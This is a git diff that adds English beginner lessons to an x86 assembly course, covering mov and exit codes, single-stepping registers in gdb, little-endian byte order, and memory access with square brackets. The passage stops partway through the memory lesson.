+☐ This whole chain = the real form of the "write → put in memory → let the worker run it" picture we drew in Unit 0.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — Where the "you write → nasm translates → the processor runs" chain is first told
+- [05.5_perde_arkasi.md](./05.5_perde_arkasi.md) — Behind the scenes of the commands you wrote in this lesson (`./`, `nasm`/`ld`, `_start`)
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — Putting a value into a register with `mov` and seeing the exit code in `echo $?`
+- [17_sistem_cagrilari.md](./17_sistem_cagrilari.md) — Where `int 0x80` (calling the kernel) is fully explained
+
+---
+
+**Previous topic:** [04.5_registerin_ici.md](./04.5_registerin_ici.md)
+**Next topic:** [05.5_perde_arkasi.md](./05.5_perde_arkasi.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/06_ilk_gercek_program.md b/docs/eng/konu_anlatimlari/x86_assembly/06_ilk_gercek_program.md
new file mode 100644
index 0000000..49bb570
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/06_ilk_gercek_program.md
@@ -0,0 +1,173 @@
+# 🎯 x86 Assembly — The First Real Program: mov and the Exit Code
+
+> The three lines we wrote in 05 were, for now, a **closed box** — we didn't fully know what they did. Now we open the first of those boxes.
+> In this lesson you learn the worker's most basic order: `mov`, that is, **"put this number in that box."**
+> And for the first time, you make **a number of your own choosing** appear on the screen. A small moment —
+> but for the first time you take command, and the machine listens to you.
+
+> **We're writing real instructions now, and this time we know what we're doing.** We'll pull `mov`
+> out of the skeleton from 05 and shine a light on it; we still leave the full insides of `int 0x80` to [17_sistem_cagrilari](./17_sistem_cagrilari.md).
+> In the end `echo $?` will tell you the number you put in — **"8!"** — and in that moment you'll say "I made this machine do something."
+
+---
+
+## 📋 Table of Contents
+
+- [mov: The Worker's First Order](#mov-the-workers-first-order)
+- [What Is an Exit Code?](#what-is-an-exit-code)
+- [Write and Run the Program](#write-and-run-the-program)
+- [Change the Number: You Took Command](#change-the-number-you-took-command)
+- [Can I See Inside a Box Directly?](#can-i-see-inside-a-box-directly)
+
+---
+
+## mov: The Worker's First Order
+
+In [01_bilgisayar_nedir](./01_bilgisayar_nedir.md), when we looked at the kinds of orders the worker takes, we put "**move**" first: *"put this number in that box."* Well, the real name of that order is **`mov`** (from English *move*).
+
+Its syntax is very simple:
+
+```nasm
+mov destination, source ; "put the source into the destination box"
+```
+
+The form you'll use most often is putting a number into a register (a pocket box):
+
+```nasm
+mov eax, 5 ; "put 5 in the eax box"
+mov ebx, 100 ; "put 100 in the ebx box"
+```
+
+Recall, `eax`/`ebx` were the worker's pocket boxes ([04_bellek_ve_registerlar](./04_bellek_ve_registerlar.md)). `mov` is exactly the way to put a value into those boxes — and it's the worker's most-used order.
+
+> 💡 Its name is "move," but what it really does is **"copy / put."** The source is not emptied. For example you can copy from one box to another: `mov ebx, eax` = "put what's in eax into ebx" — eax still keeps its old value. (I tried this: after putting 13 in `eax` and doing `mov ebx, eax`, ebx also became 13, and eax wasn't lost.) We'll see the other, memory-related forms of `mov` in [08_mov_ve_bellek](./08_mov_ve_bellek.md); for now "put a number in a box" is enough.
+
+> 🔑 `mov destination, source` = "put the source into the destination box." This is the only instruction you need to know in this lesson.
+
+---
+
+## What Is an Exit Code?
+
+When a program finishes, it leaves behind a small number: the **exit code**. This is the program's way of saying "I'm done, and here's my one-number summary." There's a convention: **0 = no problem / success**, a nonzero number = "such-and-such a situation/error happened."
+
+Who reads this number? The shell. And when you type `echo $?` (we met it in [05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md); *if you use fish, `echo $status`*), what it shows you is exactly this: the exit code of the last program that finished.
+
+So where does the program put this number? In the exit operation we use, the exit code is taken **from the `ebx` box**. That is:
+
+```nasm
+mov ebx, 8 ; exit code will now be 8
+```
+
+Well, recall the skeleton from 05: there we wrote `mov ebx, 0`, which is why `echo $?` always said 0. Now we'll replace that 0 with a number **of our own choosing**.
+
+> 🔑 Exit code = the single number a program leaves behind when it finishes (convention: 0 = no problem). On exit, this number is read from the `ebx` box; so `mov ebx, ` determines it. You see it with `echo $?` (fish: `echo $status`).
+
+---
+
+## Write and Run the Program
+
+With an editor, create a file named **`cikis.asm`** and write this:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov ebx, 8 ; exit code: 8 ← the number we chose
+ mov eax, 1 ; job to do: "exit" (sys_exit request)
+ int 0x80 ; call the kernel: do the above
+```
+
+You can already read most of these lines:
+
+- `mov ebx, 8` → "put 8 in the ebx box." This will be our exit code.
+- `mov eax, 1` → "put 1 in the eax box." The 1 here is the number that tells the kernel "the job to do is **exit**." (We'll fully explain where these numbers come from in [17_sistem_cagrilari](./17_sistem_cagrilari.md).)
+- `int 0x80` → "call the kernel, do what I prepared above." (Its insides are also in 17.)
+
+These two `mov`s are independent of each other — it doesn't matter which one you write first (in 05 the order was reversed, `mov eax, 1` came first; the result was still the same). What matters is that both are ready before we reach `int 0x80`.
+
+Now assemble, link, and run with the **same chain** as in 05:
+
+```
+nasm -f elf32 cikis.asm -o cikis.o
+ld -m elf_i386 cikis.o -o cikis
+./cikis
+echo $?
+```
+
+What you'll see:
+
+```
+8
+```
+
+There it is! This **8** on the screen isn't a random 0 like in 05 — it's **the number you put in with `mov ebx, 8`.** For the first time you told the machine a number, and it gave it right back to you.
+
+> 💡 *If you're in the fish shell*, the last line will be `echo $status` (see 05). The result is the same: `8`.
+
+> 💡 **You may be wondering:** *"What if I never write those last lines (`mov eax, 1` + `int 0x80`)? After the worker does `mov ebx, 42`, will it stop on its own?"* No — and the reason matters: **there is no place where the worker stops by itself.** The end of the list doesn't mean "stop." If you don't write the exit, the worker keeps on fetch-do-advance; it reads the **memory garbage** after your last line as if it were an instruction — like a brakeless car, it plunges off the cliff where your code ends. Before long it touches memory it isn't allowed to, and **that's the moment the operating system steps in:** it stops you and kills **only your program.** The terminal says `Segmentation fault`, and `echo $?` gives **139** (meaning "killed by a signal"). I really tried it: `mov ebx, 42` with no exit → `Segmentation fault`. **But the computer is perfectly fine** — the kernel, like a bouncer at the door, throws the misbehaving process out and lets it touch nothing in the system. (Proof against the "will I break something" fear from 02: you can't lock up the machine with an ordinary program.) The lesson's point: **telling the worker "stop" is your job** — that's exactly why the last of those three lines exists.
+
+---
+
+## Change the Number: You Took Command
+
+Now enjoy it. Open `cikis.asm`, replace the `8` with another number — make it `42`, for example:
+
+```nasm
+ mov ebx, 42 ; exit code: 42
+```
+
+Assemble, link, run again (three commands), then `echo $?`:
+
+```
+42
+```
+
+You see whatever you put in. I really tried it: `8 → 8`, `42 → 42`. **You now determine the output** — this is the essence of programming. It looks like a small number, but a big door just opened here: the machine does what you say.
+
+> 💡 **You may be wondering:** *"I put 300 in `ebx` and tried it, but `echo $?` said 44 — why not 300? And what happens if I put in a negative number?"* Because the exit code is **a single byte** ([03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md)): it only holds 0–255, and it **wraps around in both directions** — just like a car's odometer. It overflows upward: `300` doesn't fit, so it rolls over from the top → `300 − 256 = 44`. Below, a negative wraps from the bottom: I tried `mov ebx, -5`, and `echo $?` said **251** (`-1 → 255`, `-2 → 254`, … `-5 → 251`). The name of this trick for storing a negative inside a byte is *two's complement*; we'll fully explain how it works later, in the arithmetic topic ([09_aritmetik](./09_aritmetik.md)). For now: **the exit code is a byte from 0–255, and it wraps around in both directions.**
+
+---
+
+## Can I See Inside a Box Directly?
+
+You may have thought: "I put 8 in `ebx` and saw it with `echo $?`. So if I put something in `eax`, can I see that too?"
+
+Right now you **can't** — and the reason matters: `echo $?` only shows the **exit code**, and that comes only from `ebx`. So your only "window" for now is `ebx` (by way of the exit code). Even if you put 8 in `eax`, `echo $?` won't show it; it always looks at `ebx`.
+
+So what if you want to see inside any box (`eax`, `ecx`, `edx`… ) **at any moment** you like? For that you need a tool: **`gdb`** (recall we installed it in 05). The next lesson ([07_gdb_tek_adim](./07_gdb_tek_adim.md)) is exactly for this: gdb opens all the windows — you watch the value of each box one by one while the program runs. Your "write an instruction → see what changed" moments start there.
+
+> 🔑 Right now the only way to see inside a box is to put it in the exit code (`ebx`) and type `echo $?`. We'll unlock seeing all the boxes whenever you want, with `gdb`, in 07.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ mov dest, source = "put the source into the dest box." The worker's most basic order.
+ - mov eax, 5 → put 5 in eax (number into a box)
+ - mov ebx, eax → copy what's in eax into ebx (source not emptied; "move" is really "copy")
+☐ Exit code = the single number a program leaves when it finishes (convention: 0 = no problem).
+ - On exit it's read from ebx → mov ebx, determines it.
+ - You see it with echo $? (fish: echo $status).
+☐ First meaningful program: mov ebx, + mov eax, 1 + int 0x80.
+ Chain: nasm -f elf32 → ld -m elf_i386 → ./cikis → echo $? → your number!
+☐ Exit code is a SINGLE BYTE (03): 0..255. Wraps in both directions: overflows at the top (256→0, 300→44), a negative wraps from the bottom (-5→251).
+☐ The worker does NOT stop by itself: if you don't write the exit (int 0x80) it runs into memory garbage → Segmentation fault (139). But the kernel kills only the process, the system is fine.
+☐ echo $? shows only ebx (the exit code). To see the other boxes → gdb (07).
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — Where the "move" order and the "put the result in the exit code" idea were first previewed
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — Seeing inside all the boxes (registers) live
+- [09_aritmetik.md](./09_aritmetik.md) — With `add`/`sub`, not just putting anymore, but computing
+
+---
+
+**Previous topic:** [05.5_perde_arkasi.md](./05.5_perde_arkasi.md)
+**Next topic:** [07_gdb_tek_adim.md](./07_gdb_tek_adim.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md b/docs/eng/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md
new file mode 100644
index 0000000..447bdf7
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/07_gdb_tek_adim.md
@@ -0,0 +1,279 @@
+# 🔬 x86 Assembly — Single-Stepping with GDB: Watching Inside the Boxes Live
+
+> At the end of 06 we made a promise: `echo $?` only showed you a **single window** (`ebx`, through the exit code).
+> To see inside all the boxes (`eax`, `ecx`, `edx`…) **whenever you want**, you needed a tool.
+> That tool is **`gdb`** — and in this lesson we open it for the first time.
+
+> gdb lets you **pause the worker at any instruction you choose** and look inside each box one by one. You run an instruction, it stops, you check "what changed?" — then one more instruction.
+> The course's most powerful learning moment begins here: **write an instruction → see what changed.** The machine is no longer a box to you; you can watch inside it.
+
+---
+
+## 📋 Table of Contents
+
+- [What Is gdb Good For?](#what-is-gdb-good-for)
+- [Feeding the Program into gdb and Stopping It](#feeding-the-program-into-gdb-and-stopping-it)
+- [First Look: The Boxes Are Still Empty](#first-look-the-boxes-are-still-empty)
+- [First Step: `si` and "There, It Changed!"](#first-step-si-and-there-it-changed)
+- [eip: Where Is the Worker Right Now?](#eip-where-is-the-worker-right-now)
+- [Round 2: Watching the Copy Live](#round-2-watching-the-copy-live)
+- [Quitting and the Rest of gdb](#quitting-and-the-rest-of-gdb)
+
+---
+
+## What Is gdb Good For?
+
+So far you've written your program, run it, and seen a single result with `echo $?`. But you couldn't see what happened in between — which instruction changed which box and how. The program was a box: input went in, output came out, and the rest was dark.
+
+**`gdb` (*GNU Debugger*)** is what lights up that darkness. It does two things, and in this lesson you need both:
+
+1. **It pauses.** You can freeze the program at any instruction you choose — the worker is standing there, order in hand, and you've said "stop."
+2. **It shows the inside.** The moment it stops, you can read the current value of each box (register).
+
+Combine these two and here's what you get: run an instruction → stop → look at the boxes → one more instruction → look again. You see with your own eyes what the instructions do *one by one*. This is called **single-stepping** (*single-step*).
+
+> 🔑 gdb = the tool for **pausing** the worker and looking inside each box. Single-stepping: run an instruction, stop, look at what changed, repeat.
+
+We already installed gdb back in 05 ([05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md)). You also have a program left over from 06: `cikis.asm`. We start with it.
+
+---
+
+## Feeding the Program into gdb and Stopping It
+
+First, make sure the program from 06 is still neat and tidy. `cikis.asm` was this:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov ebx, 8
+ mov eax, 1
+ int 0x80
+```
+
+Assemble and link (the same chain as in 06):
+
+```
+nasm -f elf32 cikis.asm -o cikis.o
+ld -m elf_i386 cikis.o -o cikis
+```
+
+Now, instead of saying `./cikis`, we open the program **inside gdb**:
+
+```
+gdb ./cikis
+```
+
+You'll be greeted by a prompt that reads `(gdb)` — from now on you'll type commands here. Our first two commands are setup:
+
+```
+(gdb) set disassembly-flavor intel
+(gdb) starti
+```
+
+- **`set disassembly-flavor intel`** → this tells gdb to "show the instructions **in the order we wrote them**." (*disassembly* = turning machine code back into readable asm instructions; *flavor* = which writing style it shows them in.) By default gdb uses a different, reversed order — throughout this course we always prefer intel, that is, the order you wrote.
+- **`starti`** → "start the program, but stop immediately at the **first instruction**." The worker has raised its hand *before doing anything at all*, waiting for you.
+
+On the screen you'll see this (I actually ran it):
+
+```
+Program stopped.
+0x08049000 in _start ()
+```
+
+There it is — the worker stopped. `0x08049000` is the **address of the instruction** the worker is currently stopped at (which instruction is up next); we'll get to it shortly. What matters: the program started but **not a single instruction has run yet.** The ideal moment to look.
+
+> 💡 **You might wonder:** *"Why `starti`? Couldn't I just say `run`?"* `run` runs the program **all the way to the end** — and since our program exits right away, it would finish before you could watch anything. `starti` ("start-instruction"), on the other hand, **stops at the first instruction**; that's exactly what we want in order to watch.
+
+---
+
+## First Look: The Boxes Are Still Empty
+
+While the worker is stopped at the first instruction, let's look at the boxes. The command: **`info registers`** (short form `i r`). If you like, give only the boxes you care about:
+
+```
+(gdb) info registers eax ebx
+```
+
+Real output:
+
+```
+eax 0x0 0
+ebx 0x0 0
+```
+
+Each line is a box: name on the left, value in hexadecimal in the middle (`0x0`), decimal on the right (`0`). So **right now both eax and ebx are 0.** Makes sense — `mov ebx, 8` hasn't run yet; the worker is still waiting *in front of* that instruction.
+
+> 💡 The value is written twice because it's two representations of the same number: `0x0` (hexadecimal) and `0` (decimal) — back in 03 ([03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md)) we saw that they're the same number. gdb shows both so you can read whichever you want.
+
+---
+
+## First Step: `si` and "There, It Changed!"
+
+Now make the worker run **a single instruction**. The command: **`si`** (*step-instruction* — "advance one instruction"):
+
+```
+(gdb) si
+(gdb) info registers eax ebx
+```
+
+Real output:
+
+```
+eax 0x0 0
+ebx 0x8 8
+```
+
+**There's the moment.** `ebx` was `0` just now, and now it's `8`. You said `si`, the worker ran `mov ebx, 8`, and **you saw the box change with your own eyes.** In 06 we *knew* that `mov ebx, 8` puts 8 into ebx; now we **watched it.** That's the difference: between knowing and seeing.
+
+`eax` is still `0` — because the instruction that changes it (`mov eax, 1`) hasn't run yet; it's up next.
+
+Fire one more `si` so that `mov eax, 1` runs:
+
+```
+(gdb) si
+(gdb) info registers eax ebx
+```
+
+```
+eax 0x1 1
+ebx 0x8 8
+```
+
+Now `eax` became `1` too, and `ebx` is still `8`. Each instruction touched **only its own box** and left the other alone. You're now watching the worker's "fetch-do-advance" loop frame by frame.
+
+> 🔑 `si` = run one instruction, stop. In between, look with `info registers eax ebx` → you see which box changed. The course's promise of "write an instruction → see what changed" is exactly this.
+
+---
+
+## eip: Where Is the Worker Right Now?
+
+We've seen the values of the boxes. But how do we see **where in the list** the worker is — that is, "which instruction is next"?
+
+There's a box that holds this too: **`eip`** (*instruction pointer* — "instruction indicator"). Inside it sits the **address** of the next instruction. Remember how in 01 the worker's loop was "fetch-do-**advance**" — well, `eip` is the box for that "where." After each instruction the worker advances eip to the next instruction.
+
+To see the next instruction: **`x/i $eip`** ("show the instruction at the address eip points to, as an instruction"):
+
+> 💡 **What's the `$` at the front?** In gdb, when you use a register **inside an expression, because you need its value**, you put a `$` in front of its name: `$eip` = "the address *inside* eip". In the `info registers eax` above there was no `$` — because there we weren't factoring the register into a computation, we were just **listing it by name**. In short: if you're using its value, `$eip`; if you're only naming it, `eax`.
+
+```
+(gdb) x/i $eip
+```
+
+At the very start of the program (right after starti) the output was this:
+
+```
+=> 0x8049000 <_start>: mov ebx,0x8
+```
+
+`=>` means "the worker is here right now" — and that address, `0x8049000`, is the **same address** as the `0x08049000` you saw in the `starti` output above; the extra leading zero is just zero-padding and doesn't change the value. And the instruction you see: `mov ebx,0x8` — **exactly your `mov ebx, 8`.** (`0x8` is 8 in hexadecimal; thanks to `disassembly-flavor intel` the order too is as you wrote it: destination `ebx` first, then source.) When you fire a `si`, the `=>` shifts to the next instruction (`mov eax,0x1`), and one more shifts it to `int 0x80`. **The worker is advancing through the list, and you're watching over its shoulder step by step.**
+
+> 💡 **You might wonder:** *"Why do the addresses jump by 5 each time, `0x8049000`, `0x8049005`?"* Because each instruction takes up **a few bytes** in memory; an instruction like `mov ebx, 8` is 5 bytes. When the worker finishes an instruction, it advances eip **by the length of that instruction** — that is, to the start of the next instruction. How instructions are encoded as bytes is a separate and deep topic; for now the only thing you need to know is: **eip = the address of the next instruction, advancing at every step.**
+
+> 🔑 `eip` = the box holding the address of the next instruction (the worker's "where"). With `x/i $eip` you read the next instruction; the `=>` pointer shows the worker's position.
+
+---
+
+## Round 2: Watching the Copy Live
+
+In 06 there was a claim: `mov ebx, eax` "copies" — it puts the value in `eax` into `ebx` but **`eax` doesn't empty out.** Back then I promised, I said "I tried this." Now **you too will see it with your own eyes in gdb.**
+
+Make a new file named `kopya.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 7
+ mov ebx, eax ; COPY the 7 in eax to ebx
+ mov eax, 1
+ int 0x80
+```
+
+Assemble, link, open in gdb, watch the boxes:
+
+```
+nasm -f elf32 kopya.asm -o kopya.o
+ld -m elf_i386 kopya.o -o kopya
+gdb ./kopya
+(gdb) set disassembly-flavor intel
+(gdb) starti
+```
+
+First, run `mov eax, 7`:
+
+```
+(gdb) si
+(gdb) info registers eax ebx
+```
+
+```
+eax 0x7 7
+ebx 0x0 0
+```
+
+`eax` is now `7`, `ebx` is still `0`. Now the main event — `mov ebx, eax` (the copy):
+
+```
+(gdb) si
+(gdb) info registers eax ebx
+```
+
+```
+eax 0x7 7
+ebx 0x7 7
+```
+
+**There's the proof.** `ebx` became `7` (the copy arrived) — **but `eax` is still `7`.** The source didn't empty out. The sentence from 06, "move is really copy," you now don't just *know* — you **see it.** (If you like, finish the program: the final `si`s run `mov eax, 1` and `int 0x80`; `echo $?` — in fish: `echo $status` — says **7**, because on exit the 7 in `ebx` is read.)
+
+---
+
+## Quitting and the Rest of gdb
+
+To quit gdb:
+
+```
+(gdb) quit
+```
+
+(If the program is still mid-run it may ask "kill it?"; say `y`, it only closes that session.)
+
+In this lesson you learned **a single job** gdb does: watching registers by single-stepping. But gdb does far more than this — looking at memory, stopping at a specific place (breakpoint), changing values… These are for now a **closed box**; as you need them, we'll open them right then. Right now the `si` + `info registers` pair you have in hand is your **primary tool** for whenever you don't understand what an instruction does.
+
+> 🔑 Didn't understand what an instruction does? Your rule: open it in gdb, `starti`, then **watch with your own eyes** using `si` + `info registers`. Whenever you get stuck again in this course wondering "what did this do?", your answer is here.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ gdb = the tool for PAUSING the worker and looking inside each box (installed in 05).
+☐ Open the program in gdb: gdb ./cikis
+ (gdb) set disassembly-flavor intel → show instructions in our order
+ (gdb) starti → stop at the first instruction (NOT run: run would race to the end)
+☐ Look at the boxes: info registers eax ebx (short: i r eax ebx)
+ - name on left, 0x.. (hex) in middle, decimal on right — same number.
+☐ Single step: si → run one instruction, stop. Then look again → see WHAT CHANGED.
+ - after mov ebx, 8, ebx: 0 → 8. after mov eax, 1, eax: 0 → 1.
+☐ eip = the box holding the address of the next instruction (the worker's "where").
+ - x/i $eip → show the next instruction. the => pointer shows the worker's position.
+☐ Copy proof (kopya.asm): after mov ebx, eax, ebx=7 BUT eax still 7 → the source doesn't empty out.
+☐ Rule: if an instruction isn't understood → watch with starti + si + info registers in gdb.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — Where the `cikis.asm` we watched and the `mov` came from
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — What the boxes (registers) we looked inside actually are
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — The worker's "fetch-do-advance" loop; eip is the box for that "advance"
+
+---
+
+**Previous topic:** [06_ilk_gercek_program.md](./06_ilk_gercek_program.md)
+**Next topic:** 08_mov_ve_bellek.md 🚧 *(being written)*
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/08.5_little_endian.md b/docs/eng/konu_anlatimlari/x86_assembly/08.5_little_endian.md
new file mode 100644
index 0000000..6890839
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/08.5_little_endian.md
@@ -0,0 +1,98 @@
+# 🔄 x86 Assembly — Little-Endian: When You Look at Memory Byte by Byte
+
+> In 08 we looked at memory with `x/1dw` and saw a tidy `42`, `99`. But back in 04 we left a debt: we said a big number is spread across memory as **several bytes** — so in what *order* are those bytes laid out, one by one?
+> Here's the short surprise that makes everyone pause the first time they see it. A little side lesson; but if you don't know this, later on when you look at raw memory you'll be confused.
+
+---
+
+## First, the Familiar 42
+
+Recall the `sayi: dd 42` from 08. When we looked at it in gdb as "a single dword" (`x/1dw`), we saw `42`. Now let's look at the same spot **byte by byte**. The command: `x/4xb` = "show 4 bytes, in hexadecimal" (`x` examine, `4` four of them, `x` hex, `b` byte):
+
+```
+(gdb) x/1dw &sayi # as a single dword
+0x804a000: 42
+
+(gdb) x/4xb &sayi # byte by byte
+0x804a000: 0x2a 0x00 0x00 0x00
+```
+
+`42` is `0x2a` in hexadecimal (from 03). The four bytes of memory: `2a 00 00 00`. At first glance quite normal — "42 at the very front, the rest empty (zero)." Seems fine. But this example is a bit **blind** — because three bytes are zero, the oddness of the order doesn't show. To actually see the order, we need a number whose four bytes are all **filled**.
+
+---
+
+## Now a Clear Example: `0x12345678`
+
+Let's put a number in memory whose every byte is **different** (hex from 03): `b: dd 0x12345678`. The four bytes of this number are obvious: `12`, `34`, `56`, `78`. Let's look in gdb:
+
+```
+(gdb) x/1xw &b # single dword (hex)
+0x804a004: 0x12345678
+
+(gdb) x/4xb &b # byte by byte
+0x804a004: 0x78 0x56 0x34 0x12
+```
+
+**Here's the surprise.** Above we wrote `dd 0x12345678`; when gdb is asked for "a single dword" (`x/1xw`) it neatly shows `0x12345678`. But looking at memory **byte by byte**, the order is:
+
+```
+ What you wrote: 12 34 56 78
+ In memory: 78 56 34 12 ← exactly REVERSED!
+```
+
+The number is laid out **backwards** in memory. Not a typo — this is the machine's rule. Its name: **little-endian.**
+
+> 🔑 A multi-byte number is written to memory **byte by byte, backwards**: `0x12345678` → in memory `78 56 34 12`. `x/1dw` reassembles it correctly for you and shows it; but looking byte by byte (`x/4xb`) you see it reversed.
+
+---
+
+## Why "Little" (Little End First)?
+
+The rule isn't really "backwards" — it has a consistent logic: **the least significant byte goes to the smallest address (the very front).**
+
+Break `0x12345678` into parts:
+- `0x78` → the number's **least significant** end (the rightmost, like the "ones place").
+- `0x12` → its **most significant** end (the leftmost).
+
+Little-endian puts the number's **little end first** — that's why `0x78` is at the very front and `0x12` is at the very end. The name comes from this: *little-endian* = "little end first." (There's also the opposite — *big-endian* machines that put the big end first — but your x86 machine is little-endian; in this course you'll always see that.)
+
+> 💡 **You might be wondering:** *"Why such a weird rule? Wouldn't it be fine to just write it straight?"* Both (little/big) have historical and technical reasons, and which one is "right" is an old debate — so much so that even the name comes from a joke: in *Gulliver's Travels*, the "Little-Endians" and "Big-Endians" who go to war over whether to crack an egg from its pointy end or its blunt end. That is, even engineers laughed so hard at the "which end first" quarrel that they named it after that. The practical upshot for you is just one thing: **x86 = little-endian, little end first.**
+
+---
+
+## Why Is Knowing This Important?
+
+Because it has two faces:
+- If you tell gdb (or some other tool) "show this as a **number**" (`x/1dw`, `x/1xw`), it reassembles those bytes in the right order for you — **you notice nothing.**
+- But if you look at memory as **raw bytes** (`x/4xb`), or you **write out a number byte by byte yourself**, the order flips — and if you don't know this, you'll be baffled for hours over "why did I get `78563412` when I expected `12345678`?"
+
+So little-endian is a small but frequently useful fact to keep in your pocket: "the machine writes numbers to memory from the little end." Every time you look at raw memory (and later, when you split an address into bytes by hand), this rule will show up.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A multi-byte number is laid out in memory LITTLE-ENDIAN: least significant byte at the very front (smallest address).
+ - 0x12345678 → in memory: 78 56 34 12 (exactly reversed)
+ - 42 (0x2a) → in memory: 2a 00 00 00 (2a in front; the zeros hide the reversal)
+☐ x/1dw (looking at it as a single number) → gdb REASSEMBLES in the right order, you don't see the reversal.
+ x/4xb (looking byte by byte) → you see the raw form: REVERSED.
+☐ Name: little end first = little-endian. x86 = ALWAYS little-endian. (big-endian also exists; not here.)
+☐ Practical: when looking at raw memory / splitting a number into bytes by hand, the order is reversed — don't forget it.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — The lesson where we learned to look at memory (`x`) and to put numbers in with `dd`
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — Where the "a big number = several consecutive boxes" debt was incurred; here's the layout order
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — The concepts of byte, hex, and "least/most significant digit"
+
+---
+
+**Previous topic:** [08_mov_ve_bellek.md](./08_mov_ve_bellek.md)
+**Next topic:** 09_aritmetik.md 🚧 *(in progress)*
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md b/docs/eng/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md
new file mode 100644
index 0000000..9f45fe1
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/08_mov_ve_bellek.md
@@ -0,0 +1,264 @@
+# 🗂️ x86 Assembly — mov and Memory: Reaching Into Boxes with `[...]`
+
+> In 04 we sketched the worker's **warehouse–pocket dance**: FETCH (from memory to pocket), PROCESS (in the pocket), DROP (from pocket to memory). But back then we said "we'll see the real instructions in Unit 1."
+> This is that moment: in this lesson we do **FETCH** and **DROP** with a real instruction — again `mov`.
+
+> And in 04 we planted a seed: *one box can hold the address of another box* (a pointer). We said "we're leaving actually following it to 08."
+> Today we keep that promise too: for the first time you'll **follow a pointer** and grab the value at the place it points to. The only new thing is a small mark: **`[...]`**.
+
+---
+
+## 📋 Table of Contents
+
+- [`[...]`: The Box at an Address](#-the-box-at-an-address)
+- [Putting a Box in Memory: `section .data`](#putting-a-box-in-memory-section-data)
+- [FETCH: From Memory to a Register](#fetch-from-memory-to-a-register)
+- [DROP: From a Register to Memory](#drop-from-a-register-to-memory)
+- [Your First Pointer Follow](#your-first-pointer-follow)
+
+---
+
+## `[...]`: The Box at an Address
+
+So far you've seen two forms of `mov` (06): `mov eax, 5` (a number into a box) and `mov ebx, eax` (box to box). In both, the source and destination were **registers** — boxes in the worker's pocket. But most of the work sits in the **warehouse** (in memory); how do we reach out there?
+
+The answer is a single mark: **square brackets, `[...]`.** The rule is this simple:
+
+- A number/name without brackets → **the value itself.** `mov eax, 5` = "put 5 into eax."
+- Inside brackets → **"the contents of the box at that address."** `mov eax, [5]` = "**go to box number 5**, put the value there into eax."
+
+This is the real-instruction form of the address/value distinction from 04. The brackets are the way to tell the worker "this is an address — go there, take what's there." Think of the brackets as a "→ go there" arrow: `[number]` = "go to the *place number points to*."
+
+A warning: the `[5]` here only shows the **idea** — 5 isn't a real address that belongs to you. Don't try to run this on its own in a program; the kernel will say "that's not yours" and stop the program. In a moment we'll actually do the same job with `[number]` over an *allowed* address.
+
+> 🔑 `[...]` = "this is an address, go there and use the value there." Without brackets = the value itself; with brackets = the contents of the box at that address. This is the instruction-level counterpart of the address/value distinction from 04.
+
+---
+
+## Putting a Box in Memory: `section .data`
+
+To be able to read from memory, we first need to have **something** in memory. So far our programs used only `section .text` (the code section). To put our data, there's a second section: **`section .data`.**
+
+```nasm
+section .data
+ sayi: dd 42
+```
+
+Line by line:
+- `section .data` → "from here on it's **data**, not code."
+- `sayi:` → the **label** (name) we tack onto the box we put in memory. Actually `sayi` is the **address** of that box — we give it a readable name so you don't have to memorize the numeric address.
+- `dd 42` → **d**efine **d**word: "make room for 4 bytes (as big as a register; see 04), put 42 inside." (`db` = 1 byte, `dw` = 2 bytes, `dd` = 4 bytes.)
+
+So `sayi: dd 42` means **a 4-byte box named "sayi" with 42 written inside** in memory. Now when you write `[sayi]` in the code, the worker will understand "go to sayi's address, take the value there."
+
+> 💡 **You might be wondering:** *"You said `sayi` is an address, but I wrote `42` — which is it?"* They're two separate things, just like in 04: `sayi` is the box's **place** (address), `42` is the box's **contents** (value). If you write `sayi` in the code you mean the address, if you write `[sayi]` you mean the 42 inside. In a moment we'll see both in gdb — the address is a big number, the value is 42.
+
+---
+
+## FETCH: From Memory to a Register
+
+The **FETCH** step of 04: pull a box from the warehouse into the pocket. The real instruction:
+
+```nasm
+mov eax, [sayi] ; "go to sayi's address, put the value there into eax"
+```
+
+Let's try it with a full program. `bellek.asm`:
+
+```nasm
+section .data
+ sayi: dd 42
+
+section .text
+ global _start
+
+_start:
